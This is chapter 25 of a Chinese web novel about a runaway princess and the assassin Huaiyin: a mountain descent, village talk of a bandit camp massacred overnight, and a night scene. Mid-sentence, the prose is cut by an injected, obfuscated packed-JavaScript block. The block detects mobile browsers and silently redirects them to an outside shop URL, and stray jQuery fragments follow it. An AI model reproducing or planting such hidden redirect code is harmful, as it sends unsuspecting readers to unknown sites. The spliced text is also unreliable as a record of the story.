25. 第 25 章

作品:《嫁给一个杀手

    下山的小路都被积雪给淹了,不太好走,朏朏深一脚浅一脚地踩着碎雪,跌跌撞撞的。


    山路崎岖,里头还混着许多细碎的小石子,加之她临出门穿的鞋子底薄,走久了,脚累得很,雪粒子粘在鞋面上,融化后的雪水渗进鞋子里头,虽有足衣遮挡一二,但仍湿冷湿冷的,便更不舒服了。


    朏朏往掌心哈了一口热气。


    偷溜出指缝的热气形成白雾,雾气消弥时,她瞥见怀音的背影。


    走在前头的人身形挺拔如松,步履依旧轻巧,四平八稳。


    朏朏心生羡慕。


    有功夫在身的人,可真好。


    又坚持了一会,实在走不动了,朏朏扶着棵松树枝干休息,粗声粗气:“怀、怀音,我真的走不动了……”


    怀音回首,无奈道:“我的小公主,按你这样走,天黑了都走不出山。”


    朏朏揉捏着小腿:“可我真的走不动了,脚也好疼……”


    看她小脸白白、冷汗涔涔的,怀音暗啧一声娇气,又走回去,道:“下不为例。”


    说罢,伸手环住她的腰,微微一提:“走了。”


    两个人的身子跃起,几个起落间,窜入林中,已飞出几里地。


    朏朏吓得双眼紧闭,双手下意识抓住怀音的臂膀,只觉得耳边风声凛冽,刮得漏在外头的皮肤都生疼,但很快,她又好奇起来,悄悄睁开一只眼。


    飞飞飞飞飞飞飞飞飞起来!!


    天爷爷!她飞起来了!


    虽然是被怀音带着飞的,但也是飞起来了。


    方才恐惧褪去,朏朏此刻新奇得不行。


    她先前一直以为,话本里说的那些轻功,无外乎是像慧真姐姐那样跑得够快,再加上练过些许功夫,所以在外人眼里看着疾跑的场景,就如同飞起来一样,但脚总归还是要沾地的,可怀音的不是,他是真的飞起来了啊!


    朏朏还想再多感受一下,但风吹得眼睛太干,不得不重新闭眼。


    不过片刻功夫,猎猎风声停歇,脚下也踩上实地,她这才慢慢睁眼。


    竟是已经到了山脚下。


    朏朏仍云里雾里的,心如擂鼓。


    她晕乎乎地抓紧身侧人的衣袖:“怀、怀音,你好厉害!”


    他先前略有薄名的说法还是太谦虚了,这怎么能叫略有,这明明就是很有。


    现在的江湖高手都是这么谦虚的吗?


    入手的柔软细腰叫怀音微敛了下眉。


    盈盈一握,不堪摧折,莫不是梁国少她饭吃了?


    他松开手,不紧不慢道:“人外有人,比我厉害的前辈们多得是。”


    朏朏眼里似有星星,满目憧憬,仰头看他:“但我都没见过他们诶,所以你现在在我眼里才是最厉害的!”


    “咳——”


    怀音别开眼,低声道:“脚,这会儿还疼吗?”


    摇摇头,朏朏接过话:“不疼啦,我们回去吧。”


    下山之后就都是宽敞好走的大路,没有山道那般崎岖,二人很快便行至集镇上,有三三两两的镇民聚在路边茶摊,正大碗喝着茶,唾沫横飞间,却是表情惊讶地在谈论着些什么事情。


    “真的假的?全都死了吗?”


    “真的!我还能骗你不成,我昨天可是跟着官府的人去收尸来着,你们是不知道,那死得,老惨咯,那血啊,把那一片银杏林子都给染红了,现在都还有些尸首没收敛完呢。”


    “都死了?那敢情好啊,以后我们就都能放心进山了……”


    距离有些远,朏朏没听着多少,只勉强听清几个断断续续的字眼,她扭头问:“怀音,他们在说什么?”


    “怎么,你要听?”


    怀音看她一眼,不急不缓回答:“他们说,要去山里头收尸。”


    闻言,朏朏有些害怕,把头摇成拨浪鼓,往他身后躲了躲,没敢再靠近那处茶摊细听:“不要不要……”


    回家路上,身边还时不时走过几个身披甲胄的官兵,虽没有直接对上视线,但时不时飘来的目光,还是惹得她心中总有些不安。


    朏朏抿了抿唇,在路过通缉令榜时,悄悄看了眼。


    依旧是月余前的那张。


    一阵风吹过,欲坠未坠的模样依旧如前。


    都已经过一段时间了,应该没先前那般严格了吧?


    朏朏拍拍胸脯,宽慰自己刚刚只是多想而已。


    但愿是多想了……


    *


    “诶?!”


    朏朏懵了一瞬:“全、全都死了吗?”


    怀里的白萝卜没拿稳,全都掉地上,咕噜噜地往四周滚,她忙把散落的萝卜捡回来,重新放在竹框里,抱过去放在桌板。


    难道回来那日在茶摊边上听到的收尸,就是指的这个?


    “可不是呢。”


    田桂花利落拿刀去掉萝卜梗叶根,“一夜之间,远桐寨的响马子全都死咯,就在前几天的晚上,听说那树皮上啊,都盖了厚厚的一层血,拿水冲都冲不下来。”


    竟是一夜之间死了吗?!


    朏朏浑身打了个寒颤,稍稍平息心绪,又好奇问:“是谁做的啊?官府的人知道吗?”


    那群山匪都死掉了的话,就不能再下山去抢村子了。她庆幸般抚了抚心口,总算不用提心吊胆地生活了。


    田桂花刨去萝卜的皮:“不晓得,老爷们没说,照我看啊,总归是那群响马子多行不义必自毙,老天爷派出神仙来收拾他们。”


    “那倒也是。”


    朏朏拿起萝卜,装入坛中:“这样的话,大家今年就能过个好年啦。”


    “哦对了。”


    放下刀,田桂花往围裙擦了擦手,在竹筐里翻找几下:“这是我酿的屠苏酒,你带回去喝吧,天越来越冷了,你在家不出门感觉冷时可以喝点酒,暖暖身子。”


    天青色的瓷瓶,小小的一樽,容量看起来不是很多。


    屠苏酒?


    朏朏就着瓶口,浅浅嗅了一口。


    很清淡,有股药材特有的苦味,并不难闻,细品之下,还有股沁人气息。


    她长这么大,还没喝过酒呢。


    除了有一年守夜时,慧真姐姐撺掇她喝了一小口,翌日清晨,她就瞧见慧真姐姐像只鹌鹑般,缩着脑袋耸着肩,乖乖立在一旁承受青玉姑姑同韩先生的一顿混合说教。


    自此后,殿内就再也没出现过酒了。


    虽然她事后很好奇,但每一个人的口风都极严,撒娇打滚都问不出来,就连一向对她百依百顺的元良哥哥亦是红着脸支支吾吾,顾左右而言他。


    “这个腌萝卜你也带点回去,就着粥喝。”


    回神,朏朏瞧着那一大篮子的菜:“这也太多啦,桂花婶,怎么不留着自己吃。”


    拍了拍新塞得满满当当的酱缸,田桂花笑道:“我这不是新腌


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138029|194336||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了一缸吗,而且你平时还一直来帮我的忙,哪能让孩子空手而归。”


    朏朏不好意思笑笑。


    她其实也没做什么,也就递递东西,扫扫地什么的,哪有帮上什么忙。


    “那就谢谢桂花婶啦。”


    *


    夜。


    无星无云,月辉皎皎。


    放下手中算盘,公孙玄意凝望坐在圈椅上的少年一会儿,扔过去一个小包,才慢慢道:“你最近接活的次数似乎有点多啊。”


    怀音伸手,精准接过那枚抛过来的小包,瞧着里头木盒后,随意掂掂后掀开盒盖。


    一股馨香扑鼻而来,他指腹轻蹭过里头的一抹红。


    胭脂色泽绯红,能想象到涂在女子柔润唇瓣上艳若桃李的场景。


    怀音不咸不淡“嗯”了一声,再无二话。


    合上账本,公孙玄意状似无意:“你怎么突然想买这胭脂水粉了?这可是繁花落里有价无市的一款,怎么,该不会这次的任务是要你男扮女装上青楼?还是说你要拿回去给自己用?”


    怀音瞥了他一眼,才道:“你真该找个大夫瞧瞧脑子。”


    公孙玄意笑了笑:“行了,不跟你开玩笑了,话说,你知道远桐寨一夜被灭门的事情吗?那死状可真惨啊,流的血把泥都染红了,全寨一百三十口,皆是一刀毙命,手法极其干脆利落,绝无活命可能。”


    怀音懒懒道:“知道,所以呢?”


    左右观察良久,公孙玄意刻意低了声音,道:“我看这手法,很像是李断微做的。”


    怀音默然无言,充耳不闻。


    他垂着眼睫,看着胸前融得仅剩几片绿叶的冰花,指腹轻触绿莹莹的叶面,一抹红残留。


    半晌,他才慢悠悠道:“都多少年没听到他的消息了。”


    公孙玄意冥思苦想片刻,道:“是啊,但就是不知道为什么,这次远桐寨被灭的手法竟然是跟他一样的,我真的是太好奇了,诶你说,是不是他重新出山……”


    “那你自个慢慢猜去吧,我就不奉陪了。”怀音收好木盒,起身离开。


    “别忘了过几天去北凤山庄。”


    公孙玄意指尖旋着一个瓷杯,言笑晏晏道:“你杀了白骨鬼刀的事,我可是好不容易帮你摆平的。”


    “知道了。”


    夜黑风凛,如练月华落在地上,拖出长长的一道影。


    远远便瞧见院门大开,铜锁悬于门栓,被风吹得摇摇晃晃的。


    不知为何,总有些不安,怀音心上一紧,快步疾行至院中锁好门栓,转身看向坐在阶上的人儿。


    檐上清辉凛寒,庭中夜霜沾湿少女裙裾下摆。


    他皱了皱眉,问:“萧朏,你在这做什么?”


    声音惊扰了静坐少女的神思,她惊雀一样仰起头,瞧见是怀音后,朏朏摇摇头,哝一哝嘴巴:“没做什么呀,在等你回来呢。”


    心口稍稍一松,怀音道:“怎么不去睡?”


    “又不困,为什么要去睡。”


    话落,又是一片寂静,静得他都忍不住生疑,这小公主葫芦里到底在卖什么药?


    如此想着,那道纤细身影摇摇晃晃起身,朝他走来,在身前站定。


    怀音正欲说些什么,却毫无防备,被一把抱住。


    一瞬的对视。


    怀中的小公主搂紧腰身,仰起头看他,大胆又平静道:“你,给我吃一口。”